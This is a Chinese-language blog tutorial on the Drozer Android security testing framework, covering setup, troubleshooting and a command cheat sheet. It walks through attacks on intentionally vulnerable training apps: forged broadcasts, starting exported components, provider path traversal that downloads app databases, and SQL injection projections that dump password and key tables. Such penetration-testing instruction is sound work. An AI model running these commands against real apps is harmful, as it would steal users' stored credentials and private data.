赞
踩
也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大
少走了弯路,也就错过了风景,无论如何,感谢经历
Drozer是MWR Labs开发的一款Android安全测试框架。是目前最好的Android安全测试工具之一
Drozer官方文档说道:“Drozer允许你一一个普通android应用的身份与其他应用和操作系统交互。”在Web世界已经有了许多安全测试工具了,我们只需要给出一个目标,这些工具就会自动为我们安全测试报告。但Drozer与这样的自动化扫描器不同,Drozer是一种交互式的安全测试工具。使用Drozer进行安全测试,用户在自己的工作站上输入命令,Drozer会将命令发送到Android设备上的代理程序执行。其官方文档说道:“Drozer允许你一一个普通android应用的身份与其他应用和操作系统交互。
Drozer下载地址:
需要下载一个Windows客户端和一个安卓客户端:
https://github.com/FSecureLABS/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk
https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf
https://www.python.org/downloads/release/python-2718
因为Drozer 需要Python环境,但只能选择Python2.7或Python3.6
PS:注意,要把Python的PYTHON_HOME和PYTHON_HOME\Scripts加入到环境变量,如下:
有夜神、网易MuMu等Android模拟器,依据个人情况自主选择,此处选择网易MuMu模拟器
https://mumu.163.com/
在逍遥安卓模拟器中安装运行drozer Agent App,并打开Embbdded Server:
PS:安装好后打开 drozerAgent应用,点击右下角的开启按钮
打开命令行工具,并cd切换到安卓模拟器的安装路径,运行adb devices命令,查看是否能看到模拟器。如果看不到,重启模拟器试试
切换到drozer安装目录,其实也可以不用切入,因为我们已经加入了环境变量
使用 adb 进行端口转发,转发到上边Drozer使用的端口 31415,并进入Drozer 控制台:
adb.exe forward tcp:31415 tcp:31415
drozer console connect
用list命令列出Drozer所有功能模块,如能正常显示,则说明Drozer已正确安装
dz> list
执行报错解决方案:
问题:ImportError: No module named google.protobuf
解决方法:pip install protobuf
问题:ImportError: No module named OpenSSL
解决方法:pip install pyOpenSSL
问题:drozer Server requires Twisted to run.
Run 'pip install twisted' to fetch this dependency.
解决方法:pip install twisted
问题:UserWarning: You do not have a working installation of the service_identity module: 'No module named service_identity'. Please install it from https://pypi.python.org/pypi/service_identity and make sure all of its dependencies are satisfied.
解决方法:pip install service_identity
Activity(界面):通常展现为一个可视化的用户界面,是负责与用户交互的组件。常见的漏洞包括Activity劫持漏洞、越权漏洞等
Service(服务):无用户界面,是运行于后台的服务,但是及其重要,经常在后台执行一些敏感的操作。常见的漏洞包括权限提升,拒绝服务攻击等
Broadcase receiver(广播接收器):无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。当应用广播接收器默认设置exported='true',导致应用可能接收到第三方恶意应用伪造的广播,利用这一漏洞,攻击者可以在用户手机通知栏上推送任意消息,通过配合其它漏洞盗取本地隐私文件和执行任意代码
Content provider(内容提供者):为存储和获取数据提供统一的接口,可以在不同的应用程序之间共享数据。常见的漏洞包括读写权限漏洞、SQL注入漏洞、文件遍历漏洞等
run app.package.list -f APK安装包部分关键字
或列出所有包名
run app.package.list
run app.package.info -a com.example.demo
run app.package.attacksurface com.example.demo
应用程序中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。 Activity之间通过Intent进行通信。在Intent的描述结构中,有两个最重要的部分:动作和动作对应的数据
run app.activity.info -a com.example.demo
run app.activity.start --component package_name Activity_name
BroadcastReceive广播接收器应用可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。广播接收器没有用户界面。然而,它们可以启动一个activity或serice 来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。
run app.broadcast.info -a org.owasp.goatdroid.fourgoats
run app.broadcast.send --action 广播名 --extra string name lisi
反编译apk,查看AndroidManifest.xml 文件,获取广播名
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message dog
尝试拒绝服务攻击检测,向广播组件发送不完整intent使用空extras
run app.broadcast.send --action <action>
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
执行后,可以看到对DBContentProvider 内容提供器的访问,除了/Keys
路径需要权限,其他都不需要权限;而对 FileBackupProvider 内容提供器的访问则不需要任何权限,那么就可以从中获取敏感数据
run app.provider.info -a com.example.demo
一个Service 是一段长生命周期的,没有用户界面的程序,可以用来开发如监控类程序。较好的一个例子就是一个正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中,应该会有多个activity,让使用者可以选择歌曲并播放歌曲。
然而,音乐重放这个功能并没有对应的activity,因为使用者当然会认为在导航到其它屏幕时音乐应该还在播放的。在这个例子中,媒体播放器这个activity 会使用Context.startService()来启动一个service,从而可以在后台保持音乐的播放。同时,系统也将保持这个service 一直执行,直到这个service 运行结束。
另外,还可以通过使用Context.bindService()方法,连接到一个service 上(如果这个service 还没有运行将启动它)。当连接到一个service 之后,我们还可以service 提供的接口与它进行通讯。拿媒体播放器这个例子来说,我们还可以进行暂停、重播等操作。 intent-filter未将exported设置为false,默认是可以导出的。
run app.service.info -a com.example.demo
run app.service.start --action 服务名 --component 包名 服务名
run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService
Android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。这些数据可以存储在文件系统中、在一个SQLite数据库、或以任何其他合理的方式。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。只有需要在多个应用程序间共享数据是才需要内容提供者。
run scanner.provider.finduris -a <包名>
run scanner.provider.finduris -a com.example.demo
run app.provider.query uri
run app.provider.query content://com.example.demo.DBContentProvider/Passwords
run scanner.provider.traversal -a <包名>
run app.provider.read content://com.example.demo.FileBackupProvider/etc/hosts
run app.provider.download content://com.example.demo.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db f:/home/database.db
run scanner.provider.injection -a <包名>
run scanner.provider.sqltables -a com.example.demo
执行以下命令,发现返回了报错信息,接着构造sql获取敏感数据
run app.provider.query content://com.example.demo.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--selection "'"
列出所有表信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--projection "* FROM SQLITE_MASTER WHERE type='table';--"
获取具体表信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--projection "* FROM Key;--"
开始一个会话
adb forward tcp:31415 tcp:31415
drozer console connect
检索包信息
run app.package.list -f <app name>
run app.package.info -a <package name>
识别攻击面
run app.package.attacksurface <package name>
开发活动
run app.activity.info -a <package name> -u
run app.activity.start --component <package name> <component name>
利用内容提供商
run app.provider.info -a <package name>
run scanner.provider.finduris -a <package name>
run app.provider.query <uri>
run app.provider.update <uri> --selection <conditions> <selection arg> <column> <data>
run scanner.provider.sqltables -a <package name>
run scanner.provider.injection -a <package name>
run scanner.provider.traversal -a <package name>
利用广播接收器
run app.broadcast.info -a <package name>
run app.broadcast.send --component <package name> <component name> --extra <type> <key> <value>
run app.broadcast.sniff --action <action>
开发服务
run app.service.info -a <package name>
run app.service.start --action <action> --component <package name> <component name>
run app.service.send <package name> <component name> --msg <what> <arg1> <arg2> --extra <type> <key> <value> --bundle-as-obj
参考链接:
https://yunye.blog.csdn.net/article/details/108931814
https://www.jianshu.com/p/8f9d7dc5a8bb
https://www.jianshu.com/p/4ef5b26dd3fb
你以为你有很多路可以选择,其实你只有一条路可以走
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。